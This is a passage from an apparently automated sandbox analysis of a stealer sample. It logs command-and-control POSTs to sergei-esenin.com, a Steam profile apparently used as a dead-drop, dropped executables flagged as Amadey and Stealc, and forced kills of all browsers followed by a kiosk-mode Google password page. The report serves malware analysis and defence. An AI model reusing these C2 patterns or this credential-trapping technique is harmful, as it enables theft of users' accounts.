cfL4;desc="?proto=TCP&rtt=1202&sent=239&recv=615&lost=0&retrans=0&sent_bytes=2844&recv_bytes=571958&delivery_rate=2364081&cwnd=246&unsent_bytes=0&cid=3ddbcc1b05622aad&ts=3375&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	50130	104.102.49.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:48:04 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-21 08:48:05 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 21 Oct 2024 08:48:05 GMT Content-Length: 34508 Connection: close Set-Cookie: sessionid=d31a2caabf47b5ee02edd3bd; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-21 08:48:05 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-21 08:48:05 UTC	16384	IN	Data Raw: 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 41 63 63 6f 75 6e 74 20 4d 65 Data Ascii: etY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" aria-label="Account Me
2024-10-21 08:48:05 UTC	3631	IN	Data Raw: 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 5f 69 6e 6e 65 72 22 3e 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 0d 0a 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 72 69 67 68 74 63 6f 6c 22 3e 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 73 74 61 74 75 73 5f 69 6e 66 6f 22 3e 0d 0a Data Ascii: y'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="profile_content_inner"><div class="profile_rightcol"><div class="responsive_status_info">

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	50131	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:48:05 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-21 08:48:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-21 08:48:06 UTC	558	IN	HTTP/1.1 403 Forbidden Date: Mon, 21 Oct 2024 08:48:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SrYvfE7Xv6Ye4xXcYRUHsAaSzjyRi9G5LqbmMo3OZIpztSdQaqeamV9TIZDMFxOBQvoguoGZ333anYC59uKUr3XHh%2B%2BAAgCW89L8fsQsKw0ppgTXaCnadINKyzQcr3HZMxcwdw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc95dc0e2ff0-DFW
2024-10-21 08:48:06 UTC	811	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-21 08:48:06 UTC	1369	IN	Data Raw: 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 Data Ascii: styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementByI
2024-10-21 08:48:06 UTC	1369	IN	Data Raw: 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-21 08:48:06 UTC	895	IN	Data Raw: 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 Data Ascii: span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing"
2024-10-21 08:48:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	50132	172.67.206.204	443

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:48:06 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=lTyv46c5H20V.kBumZ5tYGnB9MTr_RuwMgF1VYcPnGE-1729500486-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-21 08:48:06 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=

Target ID:	0
Start time:	04:45:55
Start date:	21/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x460000
File size:	2'964'480 bytes
MD5 hash:	CB09D471F6622D52387938A9CDAC08E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:46:23
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe"
Imagebase:	0xd80000
File size:	1'908'224 bytes
MD5 hash:	E770CCEE85531910536B1A0CD6101D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.1984616145.0000000000D81000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.1943080135.0000000005480000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:46:24
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe"
Imagebase:	0x450000
File size:	1'887'232 bytes
MD5 hash:	6535A50286893F791F119217511ACC32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2016380463.0000000000451000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000003.1961420367.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:46:25
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe"
Imagebase:	0x1b0000
File size:	922'624 bytes
MD5 hash:	39F19DEFDE405544C424961F69AA69D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:46:25
Start date:	21/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:46:25
Start date:	21/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:46:26
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x610000
File size:	1'908'224 bytes
MD5 hash:	E770CCEE85531910536B1A0CD6101D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2013241583.0000000000611000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.1972941504.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:46:27
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x610000
File size:	1'908'224 bytes
MD5 hash:	E770CCEE85531910536B1A0CD6101D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2030670684.0000000000611000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.1990335969.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:46:28
Start date:	21/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:46:28
Start date:	21/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:46:28
Start date:	21/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:46:28
Start date:	21/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:46:29
Start date:	21/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:46:29
Start date:	21/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:46:29
Start date:	21/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb00000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:46:29
Start date:	21/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:46:29
Start date:	21/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:46:29
Start date:	21/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:46:29
Start date:	21/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:46:30
Start date:	21/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2204 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd325a87-00e5-47e5-97be-85b91655ce72} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c7b66d510 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:46:34
Start date:	21/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4384 -parentBuildID 20230927232528 -prefsHandle 4408 -prefMapHandle 4404 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {812b1425-1beb-4690-8e96-5eb9044b2442} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c0d743810 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:46:51
Start date:	21/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5236 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5228 -prefMapHandle 5224 -prefsLen 33185 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c4c456b6-f245-4b72-bb46-8227423c5a93} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c133cf110 utility
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:47:00
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x610000
File size:	1'908'224 bytes
MD5 hash:	E770CCEE85531910536B1A0CD6101D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2305899865.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	04:47:13
Start date:	21/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe"
Imagebase:	0xfb0000
File size:	2'964'480 bytes
MD5 hash:	CB09D471F6622D52387938A9CDAC08E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
